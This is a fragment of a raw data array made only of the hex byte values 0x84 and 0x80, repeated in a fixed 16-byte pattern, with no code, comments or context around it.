0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 